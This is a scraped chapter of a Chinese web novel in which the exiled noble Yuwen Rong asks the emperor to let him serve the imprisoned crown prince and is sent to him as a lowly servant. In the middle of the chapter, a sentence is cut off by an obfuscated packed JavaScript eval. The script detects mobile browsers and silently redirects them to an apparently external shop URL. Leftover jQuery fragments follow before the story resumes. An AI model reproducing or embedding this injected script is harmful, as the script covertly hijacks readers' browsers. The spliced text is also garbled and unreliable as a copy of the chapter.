默认冷灰
24号文字
方正启体

26. 仆役

作者:拂堤杨柳本书字数:K更新时间:
    德泽殿内,宇文戎在听闻消息的瞬间,手中正在临摹的笔锋猛地一顿,浓墨在宣纸上洇开一大团刺目的黑。他缓缓放下笔,走到窗前。庭中积雪未化,一片惨白,映着灰蒙蒙的天。


    不是没想过这一天。皇家无亲,父子相疑,史不绝书。他只是没想到会来得这样快,这样狠。裕王?其他势力?或是……陛下自己?纷乱的念头在脑中急转,最终却都沉淀下来,被一个更清晰、更强烈的意念覆盖。


    太子待他,不止是储君对臣属,更是兄长对幼弟。那些不动声色的回护,那深夜悄然递来的药瓶,那些在父皇威压下欲言又止的关切眼神……在这座冰冷皇城里,那是他唯一能触摸到的、带着温度的依靠。


    如今,这座依靠的塔,塌了。


    宇文戎没有像旁人一样惊惶或急于撇清。他回到书案前,重新铺开一张素笺。左手执笔,因用力而微微颤抖,字迹却比以往任何一次都更显嶙峋筋骨。


    他写的是“乞见书”,而非求情表。


    “罪臣戎谨奏:


    陛下天威浩荡,乾坤独断。太子之事,臣愚钝惶恐,不敢置喙。


    然,臣忆孤苦入京,形影相吊。太子不弃鄙陋,屡加存问,温言抚慰,衣食关切。此恩此义,刻于肺腑,没齿难忘。


    今闻太子幽居,臣五内如焚。非敢议陛下之法,唯忧太子惊惧交加,恐损玉体。陛下既以孝治天下,亦必重人伦亲情。


    伏乞陛下垂怜,许臣以布衣弟侄之身,入内服侍,洒扫庭除。臣绝口不言朝政,寸步不离监者,唯尽绵薄之心,使兄长稍减凄惶,略得慰藉。


    臣自知此请狂妄,然情切于中,不能自已。雷霆雨露,皆出天恩。无论陛下准否,臣此生,忠陛下之心,义太子之念,皆不敢忘。


    临表涕零,伏惟圣裁。”


    没有狡辩,没有质疑,甚至没有为太子喊冤。通篇只谈“恩义”,只求“侍疾”,将自身政治身份剥离开,只剩下一个想要报答兄长、担忧亲人身体的“愚弟”形象。他将自己置于一个纯粹基于人伦的、近乎卑微的请求者位置。


    信送出后,宇文戎换上了一身最素净的靛青深衣,未戴任何饰物,安静地跪在德泽殿正院之中,面向紫宸殿的方向。他知道,这封信一旦呈上,他便再无退路。要么被允准,成为风暴眼中一个微妙的支点;要么被斥回,甚至可能被归为“太子余党”,面临更严酷的处境。


    他在赌。赌梁帝对太子并非全然绝情,赌陛下心中那丝对“人性”的复杂考量,更赌自己这份“不合时宜”的赤诚,在帝王眼中,究竟是愚蠢,还是……某种可用的“质地”。


    时间在冰冷的砖石上缓慢爬行。膝盖的旧伤开始刺痛,寒意从地面丝丝缕缕渗入骨髓。宇文戎闭着眼,面色平静,唯有微微抿紧的唇线,泄露着一丝不易察觉的紧绷。


    不知过了多久,殿外终于传来脚步声。不是寻常宫人,步伐沉缓而富有节奏。


    怀恩走了进来,手中并未持旨。他看着跪得笔直的宇文戎,老迈的眼眸中闪过一丝极复杂的情绪,有审视,有讶异,或许还有一丝难以言喻的叹息。


    “公子戎,”怀恩的声音平板无波,“陛下召见。”


    紫宸殿东暖阁,炭火依旧,檀香依旧,但气氛却凝重如铁。梁帝负手立在窗前,明黄的背影透着无形的威压,仿佛连空气都冻结了。


    宇文戎跪伏在地:“罪臣叩见陛下。”


    良久,梁帝才缓缓转过身。他的脸上并无暴怒之色,只有一种深沉的、仿佛看透一切的疲惫与冷冽。目光落在宇文戎身上,如同实质的冰锥。


    “你的乞见书,朕看了。”梁帝开口,声音不高,却字字敲在人心上,“倒是……情深义重。”


    宇文戎额头触地:“臣愚鲁,唯知受恩当报。太子殿下于臣有恩,臣不敢忘。”


    “恩?”梁帝轻笑一声,那笑声里毫无温度,“你可知他犯的是何罪?结党营私,窥测君父!此乃大逆!你口口声声忠君,此刻却要去侍奉一个‘逆臣’?”


    压力如山崩海啸般压下。宇文戎能感觉到帝王目光中的审视与冰寒,那是在测试他话语的真伪,也是在衡量他此举背后的意图。


    他深吸一口气,抬起头,目光坦荡地迎向梁帝,声音因竭力保持平稳而微微发哑:“陛下,臣……不知太子殿下是否真的犯下那些大逆之罪。臣久居德泽殿,耳目闭塞,唯见陛下圣旨威严。”


    他先明确了自己的“无知”和对皇权的绝对服从,旋即话锋一转,语气变得低沉而恳切:“臣所知者,唯有昔年点滴。太子殿下待臣以诚,嘘寒问暖,是臣在这宫中……罕有的暖意。如今殿下身陷囹圄,无论缘由为何,其身为陛下骨血,为臣之表兄,此刻想必身心煎熬。”


    他再次叩首,姿态卑微到尘埃里:“臣此请,非为议政,非为抗旨。只是……只是不忍见亲人受苦。若陛下认为臣此举有悖国法,臣甘受任何惩处,绝无怨言。只求陛下……念在臣一点愚痴的份上,全臣心中这份难以割舍的‘义’。”


    他将自己完全放在“愚痴”、“重情”、“难以割舍”的道德低地上,坦承自己可能“有悖国法”,将生杀予夺之权完全奉还梁帝。这种近乎自毁的坦诚,反而比任何巧言辩解都更有力量。


    暖阁内再次陷入漫长的寂静。梁帝紧紧盯着伏在地上的青年,目光锐利如刀,仿佛要剖开他的皮囊,直视其灵魂深处。


    “好,”梁帝忽然道,语气斩钉截铁,“朕准你所请。”但不是以‘弟侄’之身,”梁帝的声音恢复了帝王的冷酷与精确,“是以戴罪之身。太子失德,你既念旧情,便去与他一同思过。静思苑,缺个洒扫仆役。你,便去吧。”


    不是侍疾,是罚作仆役。身份更低,羞辱更甚,但……目的达到了。


    “怀恩,”梁帝不再看宇文戎,吩咐道,“带他去。一应用度,按最低等仆役配给。言行举止,皆需记录在案,每日呈报。”


    “奴才遵命。”


    “宇文戎,”梁帝最后看了他一眼,那眼神深邃如古井,“记住你今天说的话。你的‘忠’,你的‘义’,朕,看着。”


    “臣……谢陛下隆恩。”宇文戎深深拜下,声音带着一丝不易察觉的颤抖。不是恐惧,而是一种近乎悲壮的决然。


    当他跟着怀恩走出紫宸殿时,风雪正急。冰冷的雪花扑打在脸上,他却感到一种奇异的灼热从心底升起。


    他赌赢了第一步。以一种近乎自辱的方式,赢得了靠近太子的机会,也向梁帝展示了他那“不合时宜”却无比真实的软肋与铠甲。


    静思苑,与其说是宫殿,不如说是一座精致的囚笼。庭木萧疏,门户紧闭,只有廊下值守的禁军甲士,目光冷硬如铁。


    怀恩出示了令牌,低语几句,侍卫这才放行。


    室内光线昏暗,炭火不足,透着寒气。太子刘成坐在窗前,只穿着单薄的中衣,背影寥落,往日的温润持重荡然无存,只剩下一种枯槁的沉寂。


    听到脚步声,太子缓缓回头。当他看清来者是谁时,原本死寂的眼眸中骤然迸发出极度复杂的光芒——惊愕、震动、担忧、愧疚……最终化为一片沉痛。


    “戎弟……你……何苦来此!”太子的声音沙哑干涩。


    宇文戎在距离他几步远处停下,撩起灰布衣的下摆,端端正正跪下,行了一个大礼:“罪役宇文戎,奉旨前来,伺候殿下起居。”


    “你……”太子猛地起身,想去扶他,却又顿住,手指攥紧,指节发白,眼中泛起血丝,“是父皇……父皇他让你来的?他怎能如此!你这是……自陷险地啊!”他显然误解了,以为是梁帝故意折辱。


    宇文戎抬起头,看着太子憔悴不堪的脸,轻轻摇了摇头。他没有解释那封乞见书,只是用平静而清晰的声音说:“殿下,是臣自己求来的。”


    太子浑身剧震,呆立当场。


    宇文戎继续道,语气平和得像在陈述一件最寻常的事:“殿下昔日待臣以诚,臣铭感五内。如今殿下身处困境,臣别无所长,唯愿尽请殿下……保重身体。来日方长。”


    最后四个字,他说得极轻,却重若千钧。不是许诺,不是计划,只是一种信念的传递。


    太子看着跪在冰冷地面上、衣着单薄简陋的宇文戎,看着他眼中那不容错辨的坚定与温暖,喉头剧烈地滚动了几下,忽然偏过头去,肩膀几不可察地颤抖起来。


    良久,他才哑声道:“……起来。地上凉。”


    宇文戎起身,走到炭盆边。里面的炭块烧得差不多了,灰烬堆积。他拿起一旁的火钳,动作熟练地将残余的炭核拨到一起,又看了看旁边筐里新送来的炭——是些普通的黑炭,烟大,热量一般。


    他没有抱怨,只是沉默地夹起几块新炭,小心地架在尚有余温的炭核上,又用火钳轻轻拨弄,让空气流通。然后,他走到窗边,仔细检查了破损的窗纸,记在心里。接着,他拿起墙角倚着的扫帚,开始清扫地面。他的动作不快,却极有条理,从里到外,角角落落,灰尘和碎屑被归拢到一处,再用簸箕收走。扫地的沙沙声,在寂静的房间里规律地响着。


    太子起初只是呆呆地看着他忙碌的背影,心中五味杂陈。但渐渐地,他的目光从情绪中抽离,带上了一丝惊异。


    宇文戎的每一个动作,都透着一股难以言喻的……熟稔与精准。不是敷衍了事,也不是刻意表现,而是那种经年累月做惯了这些事才会有的、融入骨子里的利落。扫地时手腕的力道,清理角落时身体的姿势,甚至收拾桌上散乱的书卷笔墨时那轻巧而有序的手法……都流畅自然得不像一个长于宫廷的公子。


    这绝非一朝一夕能学会的。


    太子曾隐约听过,戎弟刚回北境靖王府那几年,似乎过得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048640|194767||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    极其艰难,被靖王有意冷待,近乎放逐自生自灭。具体情形,无人敢细说,他也无从得知。如今看着眼前这场景,一个模糊却令人心酸的画面,不受控制地浮现在脑海——一个瘦小的孩子,在冰冷的庭院里,吃力地挥舞着比他高出许多的扫帚……


    宇文戎并未察觉太子复杂的心绪。他清扫完地面,又去打来清水,浸湿一块干净的旧布,开始擦拭桌椅和书架。他的手指修长,此刻却稳而有力,抹布过处,木质纹理重现光泽。擦拭书架高处时,他踮起脚尖,身体拉伸出柔韧的弧度,灰布衣裳下隐约可见少年人清瘦却蕴藏着力量的脊背线条。


    做完这些,他才转向那个小小的炭盆。炭火已经重新燃起,红彤彤的光映着他没什么表情的侧脸。他拿起火钳,将燃烧不均匀的炭块调整了一下,让热量散发得更均匀些。然后,他起身,走到门边,对守在外面的侍卫低声说了几句。不一会儿,侍卫提来一壶热水和一个食盒。


    宇文戎将热水倒入盆中,试了试温度,端到太子面前:“殿下,请净手。”


    太子默默洗了手。宇文戎又利落地将食盒里的饭菜布好——很简单,一荤一素一汤,加上米饭。菜色普通,但摆放得整齐。他盛好饭,筷子摆在顺手的位置,然后退开一步,垂手侍立。


    太子看着眼前这一切,喉咙再次发紧。他拿起筷子,食不知味地吃了几口,忍不住抬眼看向宇文戎。对方依旧垂着眼,目光落在自己的鞋尖上,姿态恭顺。


    “戎弟,”太子终于开口,声音干涩,“你也还没吃吧?一起……”


    “谢殿下关怀。”宇文戎打断他,语气平静无波,“罪役有规矩,稍后会去厨下用饭。殿下请慢用。”


    太子沉默。他知道,这里的“规矩”是谁定的,又意味着什么。他不再勉强,只是心中的那根刺,扎得更深了。


    饭后,宇文戎默默收拾了碗筷,又去换了炭盆里的灰。下午,他找来了浆糊和新的窗纸,开始修补破损的窗户。裁剪,刷浆,贴合,刮平……动作麻利,修补好的窗户几乎看不出痕迹。他甚至用多余的边角料,将门缝透风的地方也仔细贴了贴。


    太子一直看着,心中的惊异渐渐被一种沉重的酸楚取代。他看着宇文戎挽起袖子露出的、线条流畅却并不孱弱的小臂,看着他专注工作时微微抿起的唇线,看着他偶尔因为够高处而显露的、衣领下一小段冷白皮肤上,一道若隐若现的、淡得几乎看不见的旧疤痕……


    那不是养尊处优的公子会有的痕迹,也不是短短几日“学”会的生活技能。


    天色将晚,宇文戎点亮了油灯。昏黄的光晕驱散了一部分寒意,也将他忙碌一天后略显疲惫、却依旧平静的眉眼照亮。


    “殿下,热水备好了,在隔间。”他禀报道,“炭火会持续添换,夜里若觉冷,请唤罪役。”


    太子看着他,千言万语堵在胸口,最终只化作一句:“……辛苦你了。”


    宇文戎微微摇头,没有接话,只是躬身:“罪役告退,就在外间歇息,殿下随时吩咐。”


    他退了出去,轻轻带上门。外间是更小的一间屋子,只有一张窄榻和一个旧柜。宇文戎没有立刻休息,他听着里间传来的细微水声,确定太子开始洗漱后,才走到炭盆旁,再次检查了炭火,又为太子床边的暖炉添了炭。然后,他走到自己的窄榻边,打开那个小小的蓝布包袱,里面除了衣物,还有一个扁扁的、粗布缝制的小袋子。他捏在手里片刻,又默默放了回去。


    这一夜,静思堂格外安静。只有寒风掠过屋脊的呜咽,和炭火偶尔的噼啪声。


    太子躺在并不算柔软的床上,盖着宇文戎白日晒过、尚存一丝阳光气息的棉被,望着黑暗中模糊的帐顶,久久无法入睡。白日的画面一帧帧回放:那熟练到令人心痛的洒扫,那沉默而精准的劳作,那平静面容下深藏的、如同经过千锤百炼的隐忍……


    他忽然明白了父皇为何会允准宇文戎前来。这不仅仅是“成全”或“考验”,或许,父皇也想看看,这个被皇家、被家族、被命运反复搓揉的孩子,究竟被塑造成了何种模样。


    外间,宇文戎和衣躺在窄榻上,双手交叠置于胸前,呼吸均匀。他的眼睛在黑暗中睁着,静静听着里间的动静,也听着窗外寒风与巡夜侍卫规律的脚步声。


    身体很疲惫,但精神却异常清晰。他知道自己今天做得很好。好到足以让太子察觉异常,好到足以让任何监视者挑不出错处,也好到……足以让那位深居紫宸殿的陛下,在每日的汇报中,看到他想看到,或者意料之外的东西。


    这就是他的位置,他的方式。用最无可挑剔的劳作,践行最沉默的守护。


    静思堂的第一夜,在漫长的黑暗中,缓缓流逝。庭中老槐树的枯枝在风中轻颤,仿佛在见证着什么。而一点微光,已在最深的寒冷与孤寂中,悄然点燃,微弱,却固执地亮着。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)